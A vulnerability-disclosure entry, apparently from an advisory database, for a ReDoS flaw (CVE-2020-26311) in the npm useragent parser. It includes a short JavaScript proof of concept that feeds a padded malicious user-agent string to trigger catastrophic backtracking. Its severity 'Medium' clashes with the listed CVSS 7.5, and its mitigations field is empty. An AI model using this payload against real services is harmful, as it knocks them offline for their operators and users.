useragent Regular Expression Denial of Service vulnerability
Date: 2024-10
Affected: npm/useragent
Attack vector: dos
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2020-26311
CWE: CWE-1333
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). ## PoC ```js async function exploit() { const useragent = require(\"useragent\"); // Create a malicious user-agent that leads to excessive backtracking const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0'; // Parse the malicious user-agent const agent = useragent.parse(maliciousUserAgent); // Call the toString method to trigger the vulnerability const result = await agent.device.toString(); console.log(result); } await exploit(); ```


Mitigations:

Architectural layers (MAESTRO):